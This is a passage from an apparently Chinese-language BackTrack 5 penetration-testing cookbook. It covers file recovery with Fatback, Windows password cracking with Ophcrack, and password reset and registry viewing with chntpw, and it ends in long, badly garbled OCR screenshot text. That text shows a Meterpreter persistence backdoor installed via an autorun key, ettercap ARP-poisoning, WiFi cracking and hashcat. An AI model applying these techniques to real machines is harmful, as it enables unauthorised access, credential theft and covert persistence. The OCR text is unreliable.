6．Fatback会启动它的帮助文件（见图10.20）。

7．我们使用下面的选项来执行Fatback。


	
-a
 ：该选项让Fatback在自动模式下运行。

	

-o
 ：该选项可以指定输出文件的位置。在本示例中我们选择/fatback/thumbdrivefiles。


我们还需要设置恢复后的文件的存放位置。在本示例中我们选择/dev/sdb1。








    fatback /dev/sdb1 -o /fatback/thumbdrivefiles –a
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图10.20

8．Fatback将恢复所有被删除的文件，并将它们存放到我们指定的位置。我们先使用ls
 命令列出文件夹中的文件，将会看到在fatback文件夹中有一个日志文件。当我们进入到thumbdriverfiles文件夹中时，会看到所有已恢复的文件（见图10.21）。



    ls


    thumbdrivefiles


    ls
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图10.21

本例小结

在本示例中，我们使用Fatback从USB闪存上恢复被删除的文件。我们先执行Fatback，然后开始恢复USB闪存上的文件。Fatback能够恢复文件，并且将它们输出到指定的文件夹。即使用户认为已经将文件删除，Fatback仍然可以高效地将它们从驱动器中恢复。在很多情况下，当将一个文件从驱动器中删除时，该文件只是被操作系统进行标记，表示已经被删除。这意味着当操作系统需要空间时，可以覆盖被删除文件的文件分区。Fatback会找到这些标记为删除的文件，然后将它们恢复。

补充资料

Fatback同样可以从硬盘中恢复文件。如果硬盘有多个分袂，则需要单独针对每个分区运行Fatback。
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 有关文件雕刻的更多信息，请访问http://www.forensicswiki.org/wiki/File_Carving。


10.6　恢复Windows密码

在本示例中，我们将使用Ophcrack来恢复Windows密码。Ophcrack是恢复丢失Windows密码的最佳工具之一。该程序使用彩虹表对Windows 7、Vista和XP密码执行暴力破解。

准备工作

为了完成本示例，需要满足如下条件：


	一台可物理访问的Windows计算机；

	安装在USB驱动器或CD/DVD的BackTrack 5；

	一块用来存储文件的USB硬盘或闪存。



操作步骤

我们先从Ophcrack官方站点下载彩虹表。

1．使用浏览器访问http://ophcrack.sourceforge.net/tables.php。


2．选择需要的文件，然后下载。如果空间足够，最好将里面所有的文件都下载下来，没准您以后就会用到它们。下载完成后，解压这些文件，然后存放到指定的文件夹中（见图10.22）。

3．在文件下载之后，打开Ophcrack，然后从主菜单中单击Tables
 （见图10.23）。

4．单击Install
 按钮。

5．找到存放解压文件的文件夹（不要在文件夹中单击），然后单击OK
 。现在开始安装彩虹表。

6．从开始菜单中选择Applications | BackTrack | Privilege Escalation | Password Attacks | Offline Attacks | Ophcrack-GUI
 （见图10.24）。
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图10.22
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图10.23
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图10.24

7．现在选择彩虹表来尝试恢复Windows密码。如果是第一次运行Ophcrack，或者是打算使用之前没有安装的彩虹表，则需要先行安装（参考本示例的步骤3到步骤5）（见图10.25）。
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图10.25

8．接下来，载入SAM文件。单击Load
 按钮，然后搜索文件系统，找到加密后的SAM
 文件（见图10.26）。
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图10.26

9．最后开始破解，单击Crack
 按钮（见图10.27）。
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图10.27

本例小结

在本示例中，我们使用Ophcrack和它的彩虹表来破解Windows密码。彩虹表使用暴力破解的方式来查找正确的密码。

10.7　重置Windows密码

在本示例中，我们将使用chntpw程序重置Windows密码。默认情况下，Windows会保护C:\Windows\System32\Config
 目录中的SAM
 和SYSTEM
 文件，其采用的保护方式是在Windows启动后，对它们进行锁定，从而防止被外界访问。为了规避Windows的这些安全特性，我们需要以物理方式接入Windows计算机，来重置其密码。如果无法以物理方式来访问计算机，在利用Windows系统中的安全漏洞来获取访问权限后，同样也可以执行下述步骤来完成本示例。

准备工作

为了完成本示例，我们需要能访问SAM
 文件。我们假定您已经能够访问Windows计算机。

操作步骤

现在打开一个终端窗口，重置Windows密码。

1．检查打算挂载的硬盘。



    fdisk –l





2．挂载硬盘，将target
 设置为其挂载点。



    mount /dev/sda1 /target/





3．进入Windows SAM
 文件的存放目录。



    cd /target/windows/system32/config





4．列出目录中的所有文件。



    ls –al





5．进入chntpw
 程序的目录。



    cd /pentest/passwords/chntpw





6．在交互模式中运行chntpw
 。



    ./chntpw -i /target/windows/system32/config/SAM





7．在What to Do?
 中选择选项1，编辑用户密码。



    1





8．在重置密码时，我们通常使用具有最高设置权限的账户。在本示例中，我们选择管理员账户。



    1





9．最后一步后询问我们，接下来要进行什么操作。在本示例中，我们将密码设置为空，以便后续可以修改密码。



    1





10.8　查看Windows注册表条目

使用BackTrack查看注册表条目的原因有多个。有时候，可能是Windows注册表问题已经导致Windows无法启动，还有的时候注册表被病毒感染了。无论什么原因，BackTrack都是用来查看注册表的强力工具。在本示例中，我们将使用BackTrack的chntpw来查看Windows注册表。

准备工作

为了完成本示例，需要满足以下条件：


	一台可物理访问的Windows主机；

	安装在USB key或CD/DVD的BackTrack 5。



操作步骤

打开一个终端窗口，准备查看Windows注册表。

1．查看打算挂载的硬盘。



    fdisk –l





2．挂载硬盘，并将target
 设置为其挂载点。



    mount /dev/sda1 /target/





3．进入WindowsSAM
 文件的存放目录。



    cd /target/windows/system32/config





4．列出目录中的所有文件。



    ls –al





5．进入chntpw
 程序的目录。



    cd /pentest/passwords/chntpw





6．在交互模式中运行chntpw
 。在本示例中，选择打算编辑的注册表类型。



    ./chntpw -i /target/windows/system32/config





7．在What to Do?
 中选择选项9，编辑用户密码。



    9





8．现在可以访问Windows注册表。通过使用ls
 命令列出注册表所有的内容，然后使用cd
 命令进入其他目录。



    ls


    cd





本例小结

在本示例中，我们使用chntpw的注册表编辑器来查看Windows注册表。chntpw能够有效地从SAM
 文件中恢复Windows密码。在本示例中，我们只是用它来编辑Windows注册表。如果您的注册表出现了错误，无法正常启动Windows操作系统时，chntpw可以助您一臂之力。
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如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@epubit.com.cn。

在这里可以找到我们：


	微博：@人邮异步社区

	QQ群：368449889 　
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Congratulations. Your server certificate was properly crea:adm

The following files were created:

. Certification authority:
Certificate = /usr/local/var/lib/openvas/CA/cacert.pem
Private key = /usr/local/var/lib/openvas/private/CA/cakey.pem

. OpenVAS Server :
Certificate = fusr/locaIXVarfllhfopenvastAjserverCErt pem
Private key = /usr/lécal/var/lib/openvas/private/CAfserverkey.pem

Press [ENTER] to exit
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koot@bt:/fatback# 1s
atback.log thumbdrivefiles
oot@bt:/fatback# cd thumbdrivefiles

oot@bt:/fatback/thumbdrivefiles# 1s

dobeAIRInstaller.exe Avnet-logo.png Curam-Software.png gotcha.exe
sigra-logo.jpg Brocade+Logo_2612.png Deloitte_Logo.png
oot@bt:/fatback/thumbdrivefiles# [|
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Cancel Launch Scan
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Weicome | Configuration | WEP | WeA | Fake AP | cracking | Database | credits |

Welcome in Fake Access Point Control Panel
Create Fake AP

Access point ESSID:
[honeypot

Access point channel:
[z

Cryptography tags Key in Hex (Ex. aabbccddee) or Empty:
™ wep None (* WPA (* WPA2

[aabbccddee
’—wwwvu types:

& WEP4O TP © WRAP © ccmp © WEP104

Options:
’71' AdHoc mode [~ Hidden SSID I~ Disable broadcast probes I~ Respond to all probes

Start Fake Access Point
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Jsage:

atback [FILE

OPTION

Undelete files from FAT filesystems.

Fatback v1.

3

(c) 2000-2001 DoD Computer Forensics Lab
-0, Y-output=DIR

-a, --au
-1, --lo
-v, --vei

to

g=LOGFILE
rbose

-p, --partition=PNUM
-d, --delprefix=PREFIX

25 ool
~Zj =56
-m - -mm
-h, --he
Report bug

root@bt: ~#

ngle
ctsize=SIZE
ap

1p,

§ érba

specifies a directory to place O iles

auto undelete mode. non-interactively -
recovers all deleted files g \

specifies a file to audit log te:™

display extra information to the screen.

go directly to PNUM partition

use PREFIX to signify deleted files instead
of the default "?"

force into single partition mode

adjust the sector size. default is 512

use mmap ) flle?Xlo or improved performance r
gek'Ttrack 5
A GA S N

-

O
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root@ht:/pentest/misc/openvas# openvasad -c 'add user' -n openvasadmin -r Admin

Enter password:

ad  main:MESSAGE:10342:2012-68-08 19h16.52 EDT: No rules file provided, the new user will have n
o restrictions.

ad  main:MESSAGE:10342:26012-68-68 19h16.52 EDT: User openvasadmin has been successfully created.
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ophcrack

Home | Project page | Download | Tables | News | Support

XP Rainbow tables

These tables can be used to crack Windows XP passwords (LM hashes). They CANNOT crack Windows Vista and 7
passwords (NT hashes).

*p_special(7.5G8)

p_iree_smali(380MB) and xp_free_{asi(703MB)

7 e|a o [ [ e ul|s

XP free small (380MB)
formerty known as SSTIC04-10k

Success rate: 99 9%
Charset: 0123456789abe defghijkimnoparstuwixyzABCDEF GHUKLMNOPQRSTUVWXYZ

mdSsum: 17cfadic6 136275236 1123eb241bc86.
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root@bt:/pentest/misc/openvas# openvas-nvt-sync

[i] This script synchronues an NVT collection with the DpenVAs NVT Feed'.
[i] The 'OpenVAS NVT Feed' is provided by 'The 0 et

[i] Online information about this feed: 'http://www.opel
LE3
[i] NVT dir: /usr/1ocal/var/hb/openvas/pluglns//_
[1] will use rsync

[i] Using rsync: /usr/bin/rsync
[i] Configured NVT rsync feed: rsync://feed.openvas.org:/nvt=feed
OpenVAS feed server - http://openvas.org/

This service is hosted by Intevation GmbH - http://intevation.de/
ALl transactions are logged.

Please report froblems to adngm@mtnvatwn .de ——

i

Lo |~
recedving”incremental File list Ty r
/

/openvas-nvt-feed.htm|

>
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Login : wlp

Authentication (pass/cert) [pass] :
Login password :

Login password (again) :

User rules == /
openvassd has a rules system which allows you to restricf the hosts tl

t.
For instance, you may want him to be able to scan his own host only.

right to tes

Please see the openvas-adduser(8) man page for the rules syntax.

Enter the rules for th user and hig ctrl- once you are done
(the user can_have an l(

<< trac

Login : wlp
Password ]
Rules

Is that ok? (y/n) [y]
user added.
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Table Selection

Table
@ Xp free fast
XP free small
 tableo
o table1
o table2
@ table3
@ XP special
® XP german v1
® XP german v2
® Vista special
® Vista free
® vista nine
® vista eight
® Vista num
® Vista seven
® XPflash
Laic ciok

@ =enabled s =disabled @ = notinstalled

ZNEa Y stall | ok
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Password
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Prepare disk space

This computer has no operating systems on it.

[

Where do you want to put BackTrack Live?
© Erase and use the entire disk

SC5SI3 (0,0,0) (sda) - 21.5 GB VMware, VMware Virtual 5

) Specify partitions manually (advanced)

B BackTrack Live

Step4 of 7 Quit i | Back ’ l Forward J
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Ready to install

Your new operating system will now be installed with the following settings:

Language: English

Keyboard layout: United Kingdom
Name:

Login name:

Location: Europe/London
Migration Assistant:

If you continue, the changes listed below will be written to the disks.
Otherwise, you will be able to make further changes manually.

v

| Advanced...

uit || Back || Install |

Step 7 of 7
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Where are you?

Select your location, so that the system can use appropriate display conventions for
your country, fetch updates from sites close to you, and set the clock to the correct
local time.

Region: | Europe ﬂ Time Zone: |United Kingdom Time v

Step 2 of 7 Quit Back Forward
| J| |
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@ Graphics * % Wulnerability Assessment » k 4 P— q
@ Internet * & Exploitation Tools " & AntiVirus Forensics Tools  » 3 chkrootkit
F Multimedia * \ Privilege Escalation * - Digital Anti Forensics » 7§ rkhunter
& Office » B Maintaining Access ’ < Digital Forensics y

K settings * [T Reverse Engineering * & Forensic Analysis Tools vl

L¥ System * X RFID Tools * & Forensic Carving Tools ~ »

I utilities » @ Stress Testing * & Forensic Hashing Tools ~ »

1 wine » o Forensics * - Forensic Imaging Tools ~ »
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Keyboard layout
Which layout is most similar to your keyboard?

© (Suggested option:| United Kingdom

(O Guess keymap: Guess

() Choose your own:

USA
B = - - —
JrIGINe United Kir HMH - Colemak

United Kingdom - Dvaorak

United Kingdom - Dvorak (UK Puncti

United Kinadom - Exfended - Wink

You can type into this box to test your new keyboard layout.

| |
Step3of 7 | 70ui7t | \ Eack | | Forward






OEBPS/Image00001.jpg





OEBPS/Image00081.jpg
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Scans m Policies  Users

Add Scan

Ll Run Now
[ Linux Vulnerabilies

PERCTE 192.166.10.101 - 192.166.10.124.

Targets Fie

Cancel Launch Scan
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* Gerix wifi cracker

Welcome | Configuration | WEP | WPA | Fake AP | Cracking | Database | Credits |

Gerix racker

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele “emgent” Gentili and Emanuele *crossbower" Acri. The tool is under GPL 2
License.

enjoy!

20:33:56 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Su:
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System checks summany

File properties checks...
Required commands check failed
Files checked: 133
Suspect files: 4

Rootkit checks...
Rootkits checked : 245
Possible rootkits: @
Applications checks...
Applications checked: 4
Suspect applications: 3
The system checks took: 7 minutes and 18 seconds
A1l results have been written to the log file (/var/log/rkhunter.log)

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter,log)

root@bt:-# i
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root@bt:~# airmon-ng
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Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found

Searching for anomalies in shell history files... nothing found
‘Checking “asp'... not infected

‘Checklng “bindshell'... not infected

Checking “lkm'... chkproc: nothing detected

3 /usr/share

1 /usr/share/kde4

}1 /usr/share/kded/services

chkdirs: nothing detected

Checking “rexedcs'... not found

ichecking “sniffer'... eth0: PF_PACKET (/sbhin/dhclient3

Checking "wS5808'... not infected

Checking “wted'... chkwtmp: nothing deleted

Checking “scalper'... not infected

Checking “slapper'... not infected

Checking "z2'... lastlog entry may be corruptedchklastlog: nothing deleted

Checking “chkutmp'... The tty of the following user process(es) were not found

‘ in /var/run/utmp !

! RUID PID TTY  CHD

! root 2847 tty8  /usr/bin/X -nolisten tcp :0 -auth /tmp/serverauth,UtNEzx3YEL

chkutmp: nothing deleted
Checking “OSX_RSPLUG'... not infected
root@bt : /pentest /forensics/chkrootkitz I
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[ Nessus
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@® Add Policy

General
Credentials
Plugins
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® Ubun Local Securty Chacks:

® Viwaro ESX Local

[© Windows : User management
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* Gerix wifi cracker

Welcome | Configuration | WEP | WPA | Fake AP | Cracking | Database | Credits

racker

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele emgent” Gentili and Emanuele crossbower” Acri. The tool is under GPL 2
License.

enjoy!

20:33:56 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Su:
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Welcome | Configuration | WEP | wPa | Fake AP | Cracking | Database | Credits
General functionalities

Welcome in WEP Attacks Control Panel

rFunctionalities

Start $niffing and Logaing

Performs a test of injection AP
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Disk /dev/sdb:, 8166 MB, 8166 31@4 ytes

256 heads, 63 ors/tra
AR e
a ) R 12 bytes. /i 5

ylinder
Seggir :§Ze

I/0 size (mlnimum/optlmal) 512 byteés / 512 bytes
Disk identifier: 0xc3072el8

Device Boot Start End Blocks Id System
/dev/sdbl e 1 989 7969476 C W95 FAT32 (LBA)
Partition 1 has different physical/logical beginnings (non-Linux?):

phys=(@, 1, 1) logical=(0, 184, 49)
root@bt:~#
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4 Devices with Removable Storage (3)

$ DVD RW Drrve (D) &I BD-ROM Drive (F:)
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SM” 1% GE free of 718 GE






OEBPS/Image00010.jpg
() Distribution == Select Distribution == = ] == Select Version ==

Welcome to UNetbootin, the Universal Netboot Installer. Usage:

1. Select a distribution and version to download from the list above, or manually spedfy files to
load below.
2. Select an installation type, and press OK to begin installing.

@ Diskimage 150 = | nsics\BT5r2-GMOME-64'\ET 5R.2-GNOME-64.is0 | |

Space used to preserve files across reboots (Ubuntu only): 0 % MB

Type: |USE Drive v] Drive: [H:‘ll
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~ Installing system

Creating ext4 file system for /in pariition #1 of SCSI3 (0,0,...
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* Installation Complete

Installation has finished. You can continue testing
Ubuntu now, but until you restart the computer, any
changes you make or documents you save will not be
preserved.

| Continue Testing | |[ Restart Now |
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Navigation

| Scan Management

Back to Configs
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© Notes.
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© Performance
= Configuration
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o Schedules
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o Administration
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©NVT Feed
o Settings
G Help
© Contents
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Comment:
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Stop sniffing Cri+E
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New Task @
Name Local Vulnerabilities

Comment (optional)

Scan Config Local Vulnerabilities

Scan Targets Local Network ~
Escalator (optional) — ~
Schedule (optional) -~ +

Slave (optional) -~

Create Task
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* ettercap 0.7.4.1

7587 mac vendor fingerprint

1766 tcp OS fingerprint

2183 known services

IRandomizing 255 hosts for scanning
[scanning the whole netmask for 255 hosts
3 hosts added to the hosts list

Starting Unified sniffing.

JARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
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© Scan Configs

o Targets €—

o Credentials
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MITM Attack: ARP Poisoning

Optional parameters
0 [Sniff remote connections

01 Only poison one-way.

ok || cancel
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Start Targets Hosts View M

Start sniffing Ctri+W
Stop sniffing Ctri+E

Exit Ctri+X





OEBPS/Image00211.jpg
* ettercap 0.7.4.1
Hosts View M
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Host:
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Save






OEBPS/Image00332.jpg
Table Selection

Table

@ tablel
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Profile
3

Please enter address and

e st b ke e | Delete
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Before you press the log in
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9390
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New Scan Config @

Name Local Vulnerabilities

Comment (optional)

°
P ® Empty, static and fast
9 Full and fast

[ Create Scan Config
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Host List

IPAddress  MAC Address Description 3

192.168.10.102 00:0D:93:7A:EAC8.
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:5D:29:28:FF
192.168.10.110 00:02:A5:B1:EB:0F
192.168.10.111 08:00:27:17:81:3C
192.168.10.112 08:00:27:19:80:88

192.168.10.150 00:80:77:07:80:A3

Delete Host Il Add to Target 1 J

Add to Target 2

55 ports monitored

7587 mac vendor fingerprint 1
1766 tcp OS fingerprint

2183 known services

IRandomizing 255 hosts for scanning.
[scanning the whole netmask for 255 hosts.
o hosts added to the hosts list.
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Save to file.






OEBPS/Image00000.jpg





OEBPS/Image00184.jpg
neterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on_a-farget host

l0PTIONS :

nt
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il be used.
» <oy
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T <opt>

<opt>
-p <opt>
-r <opt>
back

Ineterpreter >

Automatically start a matching multi/handler to connect e _age

Location in target host where to write payload to, if no

<baclcltrack)

Alternate executable template'to use

Automatically start the agent when the User logs on
Automatically start the agent when the system boots

This help menu

The interval in seconds between each connection attempt

The port on the remote host where Metasploit is listening

The IP of the system running Metasploit listening for the connect
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ﬁ exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

neterpreter > i
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meterpreter > [*] Meterpreter session 2 opened (192.168.10.109:4444 -> 192.168.1
©.112:49234) at 2012-09-08 ©9:09:56 -0400

meterpreter > I
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root@bt:~# locate snort.conf
/etc/snort/snort.conf
/var/1ib/dpkg/info/snort.conffiles
/var/1ib/dpkg/info/snort.config
root@bt:~# |:|
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meterpreter > run persistence -U -A -i 10 -8090 -r 192.168.10.109
[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence
‘20129968 .0946/WILLIE-PC_20120908.0946.rc

[*] Creating Payload=windows/meterpreter/reyerse tcp LHOST=192.168.16. IJGQ_LEDR'F,
4444

[*] Persist 156 tes lo
[+ Persxsg‘t @Dtﬁlﬁ: 10 ks\wllhe’m a&dﬁ\%\a'\

m.vbs

[*] Starting connection handler at port 444
[+] Multi/Handler started!

[*] Executing script C:\Users\willie\AppData\Local\Temp\aAEmqSmmMKXVm.vbs

[+] Agent executed with PID 3280

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Ru
n\BeRRRzkRuP

[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run
\ ReRRR7kR1ID ‘

for windows/meterpreter/ reve;se
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09/03-16:57:02.195226 192.168.10.1:1189 -> 239.255.255.250:1900
UDP TTL:4 T0S:6x0 ID:@ IpLen:20 DgmLen:438 DF
Len: 410 P

09/03-16:57:02.304965 192.168.10.1:1189 -> 239.255.255.250:1900
UDP TTL:4 T0S:0x6 ID:® IpLen:20 DgmLen:367 DF
Len: 339

UDP TTL:4 TO 0x0 ID:0 IpLen:20 ngLen 420
Len: 392

09/63-16:57:02.637847 192.168.10.1:1189 -> 239.255.255.250:1900
UDP TTL:4 T0S:0x0 ID:@ IpLen:20 DgmLen:358 DF
Len: 330

"C*** Caught Int-Signal
root@bt:~# snort -q -v -i ethl -c /etc/snort/snort.conf
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Unified sniffing Shift+U

Bridged sniffing Shift+8

Set pcap filter. P
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var HOME NET 192.168.10.6/24]
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* eftercap 0.7.4.1

SIESREAR,
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#  http://www.snort.org snort 2.8.5.2 Ruleset
# Contact: snort-sigs@lists.sourceforge.net

# This file contains a sample snort configuration.
# You can take the following steps to create your own custom comnfigusation:

1) Set the yariables for your network
2) Configure dynamic loaded librarieg
3) configure preprogeSsors
4) Configure.output plugins
5) Add any runtime config directives
6) Customize your rule set

R

# Step #1: Set the network variables:

[ Read 927 lines ]
@€ Get Help Q¥ writeOut [ Read File @ Prev Page @§ Cut Text Q¥ Cur Pos
Exit g Justify where Is @Y Next Page gl UnCut Textgy] To Spell
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tart Targets Hosts View Mitm Filters Logging Plu

Hosts list H
Scan for hosts ctri+s
Load from file...  Ctrl+0

cti+s

ve to file.
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| * ettercap Input

@ Network interface : v

‘ oK H Cancel ‘
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var EXTERNAL NET any
#var EXTERNAL NET !$HOME NET





OEBPS/Image00301.jpg
root@ht:/pentest/passwords/oclhashcat+# 1s

contrib cudaHashcat-plus64.bin example.dict oclhashcat-plus32.bin
cudaExample@.sh docs kernels oclHashcat-plus64.bin
cudaExampled00.sh example®.hash oclExampled.sh rules
cudaExample500.sh example400.hash oclExampled00.sh

cudaHashcat-plus32.bin example500.hash oclExample500.sh

roat‘bl:/pentest/passwnrds/uclhashcat+#?
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>> log = client.sys.eventlog.open('system') 4 Ty
=> #<#<(1ass:0x00000009643Cc10>:0x00000007adc8ad @client=#<Session:met preter 19

2.168.10.112:492360 (192.168.10.112) "willie-PC\willie @ WILLIE-PC">, @handle=269
35308> ¢

>> log = client.sys.eventlog.open('application’) e =
=> #<#<(lass:0x00000009643c10>:0x0000000a382cad @client=#<Session: meterpreter 19
2.168.10.112:49230 (192:168.10.112) "willie- PC\w1111e @ WILLIE-

35300> .
>> log = cldént.€ys.eventlogs n‘" tor:tser ice') ﬁ'ia r

> racioss Broshcootedt A Svechohucrid o @elient=#<session:
2.168.10.112:492360 (192.168.10.112) "willie-PC\willie @ WILLIE-PC">
35308>

>> log = client.sys.eventlog.open('dns server')

=> #<#<(lass:0x00000009643c10>:0x0000000a57a120 @client=#<Session:meterpreter 19
2.168.10.112:492360 (192.168.10.112) "willie-PC\willie @ WILLIE-PC">, @handle=269
35300>

>> log = client.sys.eventlog.open('file replication service')

=> #<#<(lass:0x00000009643c10>:0x0000000a6119f8 @client=#<Session:meterpreter 19
2.168.10.112:49230 (192.168.10.112) "willie-PC\willie @ WILLIE-PC">, @handle=269
35308>

=3 |
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oclHashcat-plus, advanced password recovery

Usage: oclHashcat-plus [options]... hash|hashfile|hccapfile [dictionary|mask|dir
ectory]...

Options
* General:
-m, --hash-type=NUM Hash-type, see references below
-a, --attack-mode=NUM Attack-mode, see references below
-V, --version Print version
-h, --help rint help 1 r3 \
ula LA
=< back*trac
* Misc:
--runtime=NUM Abort session after NUM seconds of runtime
--force Ignore warnings
--hex-salt Assume salt is given in hex
--hex-charset Assume charset is given in hex
* Outfile:
-0, --outfile=FILE Define outfile for recovered hash

--outfile-format=NUM Define outfile-format for recovered hash
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meterpreter > irb
L+] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

=
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_ MITM Attack: ARP Poisoning

() only poison one-way.

; Optional parameters
0 & [Sniff remote connections.

oK || cancel |
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root@bt:/sourcecode/gpgdir-1.9.5# gpgdir
[+] Creating gpgdir rc file: /root/.gpgdirrc
[*] Please edit /root/.gpgdirrc to include your gpg key identifier,
or use the default GnuPG key defined in ~/.gnupg/options. Exiting.
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n * ettercap 0.7.4.1
view 'Mitm  Fi

Plugins Help

Arp poisoning.

lcmp

Port stealing.

Dhcp spoofing
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[+] Module Term::ReadKey is already installed in the system perl tree, skipping.
[+] Installing man page.

[+] Installing gpgdir.l man page as: /usr/share/man/manl/gpgdir.1l

[+] Compressing man page: /usr/share/man/manl/gpgdir.1l

It is highly recommended to run the test suite in the test/
directory to ensure proper gpgdir operation.

[+] gpgdir has been installed!
root@bt:/sourcecode/gpgdir-1.9.5# |
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~ v x ettercap 0.7.4.]
Start Targets Hosts View M
Start sniffing Ctri+Ww
Stop sniffing Ctri+E I

Exit Ctri+X





OEBPS/Image00318.jpg
\root@bt:/sourcecode/gpgdir-l.9.5# gpgdir -e /encrypted directory
[+] Executing: gpgdir -e /encrypted directory

Using default GnuPG key.

Enter password (for initial encrypt/decrypt test)
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7587 mac vendor fingerprint
1766 tcp OS fingerprint

2183 known services

[Randomizing 255 hosts for scanning.
scanning the whole netmask for 255 hosts.
3 hosts added to the hosts list...

starting Unified sniffing.

{ARP poisoning victims:
GROUP 1: ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
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Config file for gpgdir

Set the key to use to encrypt files with "use key <key>", e.g.
"use _key D4696445". See "gpg --list-keys" for a list of keys on your
GnuPG key ring. Alternatively, if you want gpgdir to a e

3 H 3 W 3 W

default key that is defined by the "default-key" variable i
~/.gnupg/options, then uncomment the "default key*—tIne Below.
# Uncomment to use the GnuPG default key defined in ~/ pg/options:
default_key

# If you want to use a specific GnuPG key, Uncomment the next line an
# replace "KEYID" with your real key id:
#use key KEYID
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MITM attack(s) stopped

—
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‘ruut’ebt ~/.gnupg#<gpgdir -d /encrypted | directory
[+] Executing: gpgdir -d /encrypted directory

| Using default GnuPG key.

Password:
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root@bt:~# airmon-ng
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ettercap 0.7.4.1

Hosts

Scan for hosts

Load from file.

Save to file
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--2012-09-03 “17:23:20-- http://cipherdyne.org/gpgdir/devinload/gpgdir-
Resolving cipherdyne.org...
Connecting to cipherdyne.org|74.220.215.85]:860...
HTTP request sent, awaiting response...
Length: 182689 (178K) [application/x-bzip2]
Saving to: ‘gpgdir-1.9.5.tar.bz2'

2012-09-03 $23

- 5{3 N
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~ v x ettercap 0.7.4.1

Start| Targets Hosts View Mitm Filters Logging Plugins Helj
Startsniffing  Ctri+W
Stopsniffing  Ctri+E

Exit Ctri+X
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root@bt:/sourcecode# gpg --verify gpgdir-1.9.5.tar.bz2.asc
gpg: Signature made Sat 05 Sep 2009 03:36:17 PM EDT using DSA key ID ©D3E74160
gpg: Good signature from "Michael Rash (Signing key for cipherdyne.org projects) <mbr@c

org>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.

Primary key fingerprint: 4D66 44AS DA®3 6964 BDA2 (B90 E6C9 E335 OD3E 7410
root@bt:/sourcecode#
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Host List %

1P Address  MAC Address  Description

192.168.10.102 00:0D:93:7A:EA:C8
192.168.10.107 00:18:E7:07:BE:70
192.168.10.108 00:08:5D:29:28:FF
192.168.10.110 00:02:A5:B1:EB:0F

192.168.10.150 00:8(

| Delete Host | Add to Target 1

I

Add to Target 2

J

55 ports monitored
7587 mac vendor fingerprint 1

1766 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
9 hosts added to the hosts list...
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--2012-09-93 17:28:24- - “httpr//cipher g/public_key™
Resolving &ipherdyne.org... 74.220.215.85

Connecting to cipherdyne.org|74.226.215.85|:86... connected.
HTTP request sent, awaiting response... 200 0K

Length: 2433 (2.4K) [text/plain]

Saving to: "public key'

root@bt:/sodrcecode# wget 'ﬁtwﬂﬂlphmeurrg/ﬂmﬁc \_ R&

100%[ >] 2,433

2012-09-03 17:28:24 (185 MB/s) - “public_key' saved [2433/2433]

~=.=KIS

in
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Hrack 5) )

Module options (auxlhary/gather/search email collector):

Name Current Setting Required
DOMAIN yes
OUTFILE no
SEARCH BING true yes
SEARCH _GOOGLE true yes
SEARCH YAHOO  true yes

msf auxiliary(search email collector) >

Description

The domain name to locate email addresses for
A filename to store the generated email list
Enable Bing as a backend search engine
Enable Google as a backend search engine
Enable Yahoo! as a backend search engine
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~ v x ettercap 0.7.4.1
Start Targets Hosts View Mitm Filters Logging Plugins Helf

Start snifing  Ctri+W

Stop sniffing  Ctri+E

Exit Ctri+X
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| ~ v x eftercap 0.7.4.1
Targets Hosts View Mitm Filters Logging Plugins Help

Load from

Save to file.
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MITM Attack: ARP Poisoning

Optional parameters
@ [Sniff remote connections
[ Only poison one-way.

oK || cancel |
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~ v % ettercap 0.7.4.1
sts View Mitm Fil

s_Logging Plugins H

i

Start Targets H
Arp poisoning

lcmp

Port s

Dhcp spoofir

op mitm
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~ v x ettercap 0.7.4.1

Start Targets Hosts View M
Start sniffing___ Ctri+W
Stopsniffing  Ctri+E l

Exit Ctri+X
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EIEERCAP!

7587 mac vendor fingerprint

1766 tcp OS fingerprint

2183 known services

[Randomizing 255 hosts for scanning...
iscanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

IStarting Unified sniffing...

IARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
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msf > search émail" colleefors Sws I i Wi ,Q_)J

Matching Modules

LEL Disclosure Date Rank Description

auxiliary/gather/search email collector normal Search Engin
ddress Collector

msf > |





OEBPS/Image00288.jpg
v % ettercap 0.7.4.1

argets Hosts View |Mitm Filters Logging

Arp poisoning

np redirect
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ettercap Input

0 Network interface : [v]

oK || cancel |
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root@bt:~# cd /pentest/passwords/crunch
root@bt:/pentest/passwords/crunch# J
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root@bt:~# apt-get install crunch
Reading package lists... Done
3uilding dependency tree

Reading state information... Done
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root@bt:~# cd /pentést/passwords/rainhowcraﬁ/
root@bt:/pentest/passwords/rainbowcrack#
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root@bt:/pentest/passwords/crunch# /pentest/passwords/crunch/crunch 8 16 ABCDEFGabcdefg0123456789
-0 /root/Desktop/generatedCrunch. txt

Crunch will now generate the following amount of data: 724845943848960 bytes

691266960 MB

675065 GB

659 TB

o PB

Crunch will now generate the following number of lines: 66155263819776
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root@bt:/pentest/passwords/oclhashcat+# 1s

contrib cudaHashcat-plus64.bin example.dict oclHashcat-plus32.bin
cudaExample@.sh docs kernels oclHashcat-plus64.bin
cudaExample400.sh example@.hash oclExample®.sh rules
cudaExample500.sh example400.hash oclExampled@o.sh

cudaHashcat-plus32.bin example500.hash oclExample500.sh

/pentest/passwords/oclhashcat+# _
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charset length: 36

